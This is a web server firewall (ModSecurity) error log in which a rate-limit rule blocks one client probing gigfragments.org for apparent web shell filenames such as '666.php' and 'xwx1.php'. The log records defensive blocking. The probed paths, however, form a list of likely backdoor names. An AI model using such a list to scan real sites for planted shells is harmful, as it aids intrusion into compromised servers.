[Sun Apr 12 09:24:43.306643 2026] [:error] [pid 26600:tid 26646] [client 74.248.34.0:9207] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adr0W-1YwAZiXhQKLYqsugAAAZE"]
[Sun Apr 12 09:24:44.277519 2026] [:error] [pid 60280:tid 60290] [client 74.248.34.0:9147] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adr0XHBlLnDOYuIykkhB4QAAAcg"]
[Sun Apr 12 09:24:45.293761 2026] [:error] [pid 60280:tid 60296] [client 74.248.34.0:9041] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adr0XXBlLnDOYuIykkhB6wAAAc4"]
[Sun Apr 12 09:24:46.372019 2026] [:error] [pid 60280:tid 60291] [client 74.248.34.0:9118] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adr0XnBlLnDOYuIykkhB7wAAAck"]
[Sun Apr 12 09:24:47.550796 2026] [:error] [pid 60280:tid 60297] [client 74.248.34.0:9051] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adr0X3BlLnDOYuIykkhB8gAAAc8"]
[Sun Apr 12 09:24:48.545983 2026] [:error] [pid 26600:tid 26635] [client 74.248.34.0:9209] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adr0YO1YwAZiXhQKLYqszQAAAYY"]
[Sun Apr 12 09:24:50.022080 2026] [:error] [pid 60280:tid 60286] [client 74.248.34.0:9154] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adr0YnBlLnDOYuIykkhB-AAAAcQ"]
[Sun Apr 12 09:24:52.662956 2026] [:error] [pid 25329:tid 25409] [client 74.248.34.0:9122] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adr0ZGdcIYsS8Iyaj11mUQAAAJM"]
[Sun Apr 12 09:24:55.878262 2026] [:error] [pid 25437:tid 25454] [client 74.248.34.0:9026] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adr0Z3f97wYZje1ep_OQRQAAAM8"]
[Sun Apr 12 09:25:00.149653 2026] [:error] [pid 26600:tid 26650] [client 74.248.34.0:9132] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adr0bO1YwAZiXhQKLYqs1wAAAZU"]
[Sun Apr 12 09:25:02.092168 2026] [:error] [pid 25328:tid 25367] [client 74.248.34.0:9204] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adr0bsxUaQZxT-e0YsA5HgAAAEM"]
[Sun Apr 12 09:25:04.506041 2026] [:error] [pid 26599:tid 26614] [client 74.248.34.0:9111] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adr0cHG89LXoQbk_rwB8LAAAAUw"]
[Sun Apr 12 09:25:06.166371 2026] [:error] [pid 25437:tid 25449] [client 74.248.34.0:9075] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adr0cnf97wYZje1ep_OQYwAAAMo"]
[Sun Apr 12 09:25:07.495005 2026] [:error] [pid 25437:tid 25444] [client 74.248.34.0:9035] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adr0c3f97wYZje1ep_OQZQAAAMU"]
[Sun Apr 12 09:25:10.516990 2026] [:error] [pid 25328:tid 25366] [client 74.248.34.0:9037] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adr0dsxUaQZxT-e0YsA5LQAAAEI"]
[Sun Apr 12 09:25:11.791105 2026] [:error] [pid 25329:tid 25397] [client 74.248.34.0:9046] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adr0d2dcIYsS8Iyaj11mYwAAAIw"]
[Sun Apr 12 09:25:13.102787 2026] [:error] [pid 26600:tid 26642] [client 74.248.34.0:9142] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adr0ee1YwAZiXhQKLYqs6AAAAY0"]
[Sun Apr 12 09:25:14.441634 2026] [:error] [pid 60280:tid 60292] [client 74.248.34.0:9145] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adr0enBlLnDOYuIykkhCYwAAAco"]
[Sun Apr 12 09:25:15.455448 2026] [:error] [pid 26567:tid 26573] [client 74.248.34.0:9150] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adr0e3hRpg6ptWFyFx054QAAAQQ"]
[Sun Apr 12 09:25:17.878201 2026] [:error] [pid 25328:tid 25366] [client 74.248.34.0:9208] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adr0fcxUaQZxT-e0YsA5PwAAAEI"]
[Sun Apr 12 09:25:19.949065 2026] [:error] [pid 25327:tid 25348] [client 74.248.34.0:9117] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adr0fy6h2tZEVJo9JFJ0dwAAAAw"]
[Sun Apr 12 09:25:21.560465 2026] [:error] [pid 25327:tid 25358] [client 74.248.34.0:9092] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adr0gS6h2tZEVJo9JFJ0egAAABY"]
[Sun Apr 12 09:25:23.044983 2026] [:error] [pid 25329:tid 25388] [client 74.248.34.0:9081] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adr0g2dcIYsS8Iyaj11mbAAAAIc"]
[Sun Apr 12 09:25:24.349427 2026] [:error] [pid 26600:tid 26652] [client 74.248.34.0:9169] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adr0hO1YwAZiXhQKLYqs_AAAAZc"]
[Sun Apr 12 09:25:25.962541 2026] [:error] [pid 60280:tid 60287] [client 74.248.34.0:9146] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adr0hXBlLnDOYuIykkhChAAAAcU"]
[Sun Apr 12 09:25:28.388708 2026] [:error] [pid 60280:tid 60291] [client 74.248.34.0:9107] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adr0iHBlLnDOYuIykkhChwAAAck"]
[Sun Apr 12 09:25:29.694144 2026] [:error] [pid 25329:tid 25378] [client 74.248.34.0:9153] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adr0iWdcIYsS8Iyaj11mdAAAAII"]
[Sun Apr 12 09:25:32.782683 2026] [:error] [pid 60280:tid 60302] [client 74.248.34.0:9095] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adr0jHBlLnDOYuIykkhCkQAAAdQ"]
[Sun Apr 12 09:25:36.068038 2026] [:error] [pid 60280:tid 60291] [client 74.248.34.0:9089] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adr0kHBlLnDOYuIykkhCnwAAAck"]
[Sun Apr 12 09:25:37.768033 2026] [:error] [pid 26599:tid 26624] [client 74.248.34.0:9042] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adr0kXG89LXoQbk_rwB8WAAAAVY"]
[Sun Apr 12 09:25:59.006641 2026] [:error] [pid 26600:tid 26640] [client 74.248.34.0:9039] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adr0p-1YwAZiXhQKLYqtKAAAAYs"]
[Sun Apr 12 09:26:01.081100 2026] [:error] [pid 25437:tid 25439] [client 74.248.34.0:9073] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adr0qXf97wYZje1ep_OQgAAAAMA"]
[Sun Apr 12 09:26:02.208317 2026] [:error] [pid 25328:tid 25398] [client 74.248.34.0:9061] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adr0qsxUaQZxT-e0YsA5hgAAAFQ"]
[Sun Apr 12 09:26:06.209939 2026] [:error] [pid 60280:tid 60306] [client 74.248.34.0:9043] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adr0rnBlLnDOYuIykkhCwwAAAdg"]
[Sun Apr 12 09:26:09.550700 2026] [:error] [pid 25437:tid 25446] [client 74.248.34.0:9112] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adr0sXf97wYZje1ep_OQkAAAAMc"]
[Sun Apr 12 09:26:12.302757 2026] [:error] [pid 25437:tid 25457] [client 74.248.34.0:9024] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adr0tHf97wYZje1ep_OQmAAAANI"]
[Sun Apr 12 09:26:13.740337 2026] [:error] [pid 25437:tid 25449] [client 74.248.34.0:9134] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adr0tXf97wYZje1ep_OQogAAAMo"]
[Sun Apr 12 09:26:15.463246 2026] [:error] [pid 25437:tid 25441] [client 74.248.34.0:9005] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adr0t3f97wYZje1ep_OQpgAAAMI"]
[Sun Apr 12 09:26:17.523620 2026] [:error] [pid 60280:tid 60293] [client 74.248.34.0:9096] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adr0uXBlLnDOYuIykkhC1wAAAcs"]
[Sun Apr 12 09:26:19.734288 2026] [:error] [pid 60280:tid 60297] [client 74.248.34.0:9063] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adr0u3BlLnDOYuIykkhC7QAAAc8"]
[Sun Apr 12 09:26:21.444596 2026] [:error] [pid 26600:tid 26643] [client 74.248.34.0:9059] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adr0ve1YwAZiXhQKLYqtTQAAAY4"]
[Sun Apr 12 09:26:22.657554 2026] [:error] [pid 60280:tid 60302] [client 74.248.34.0:8970] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adr0vnBlLnDOYuIykkhDAAAAAdQ"]
[Sun Apr 12 09:26:23.742847 2026] [:error] [pid 25328:tid 25367] [client 74.248.34.0:9173] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adr0v8xUaQZxT-e0YsA5pwAAAEM"]
[Sun Apr 12 09:26:25.611755 2026] [:error] [pid 60280:tid 60297] [client 74.248.34.0:9214] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adr0wXBlLnDOYuIykkhDEQAAAc8"]
[Sun Apr 12 09:26:27.494551 2026] [:error] [pid 26600:tid 26650] [client 74.248.34.0:9062] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adr0w-1YwAZiXhQKLYqtTgAAAZU"]
[Sun Apr 12 09:26:30.552483 2026] [:error] [pid 26599:tid 26607] [client 74.248.34.0:9072] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adr0xnG89LXoQbk_rwB8cgAAAUU"]
[Sun Apr 12 09:26:33.064528 2026] [:error] [pid 26600:tid 26652] [client 74.248.34.0:9091] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adr0ye1YwAZiXhQKLYqtXgAAAZc"]
[Sun Apr 12 09:26:35.633922 2026] [:error] [pid 60280:tid 60294] [client 74.248.34.0:9001] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adr0y3BlLnDOYuIykkhDKAAAAcw"]
[Sun Apr 12 09:26:39.282328 2026] [:error] [pid 25328:tid 25405] [client 74.248.34.0:9125] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adr0z8xUaQZxT-e0YsA5yAAAAFc"]
[Sun Apr 12 09:26:40.366787 2026] [:error] [pid 25329:tid 25406] [client 74.248.34.0:9187] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adr00GdcIYsS8Iyaj11mfQAAAJE"]
[Sun Apr 12 09:26:41.832275 2026] [:error] [pid 25328:tid 25369] [client 74.248.34.0:9088] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adr00cxUaQZxT-e0YsA50wAAAEU"]
[Sun Apr 12 09:26:43.583144 2026] [:error] [pid 60280:tid 60285] [client 74.248.34.0:9156] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adr003BlLnDOYuIykkhDMAAAAcM"]
[Sun Apr 12 09:26:47.414797 2026] [:error] [pid 60280:tid 60305] [client 74.248.34.0:9183] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adr013BlLnDOYuIykkhDMwAAAdc"]
[Sun Apr 12 09:26:49.701365 2026] [:error] [pid 26600:tid 26650] [client 74.248.34.0:9100] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adr02e1YwAZiXhQKLYqtawAAAZU"]
[Sun Apr 12 09:26:51.576714 2026] [:error] [pid 26567:tid 26582] [client 74.248.34.0:9205] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adr023hRpg6ptWFyFx06aAAAAQ0"]
[Sun Apr 12 09:26:52.691782 2026] [:error] [pid 25328:tid 25396] [client 74.248.34.0:9056] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adr03MxUaQZxT-e0YsA54AAAAFM"]
